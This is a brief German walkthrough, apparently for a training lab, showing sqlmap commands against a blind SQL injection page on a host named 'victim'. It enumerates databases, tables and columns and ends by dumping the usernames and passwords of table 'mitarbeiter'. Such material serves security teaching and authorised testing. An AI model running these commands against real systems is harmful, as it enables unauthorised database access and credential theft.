Sqlmap Anwenden

Ausgabe aller Parameter und Optionen

• sqlmap -hh

Datenbanken anzeigen (optional)

• sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID

Verwundbarkeit bestätigen

• sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --batch --string=VALID --flush-session

Tabellen der Datenbank tuxmen

• sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID

Spalten der Tabelle mitarbeiter

• sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID

Daten dumpen

• sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID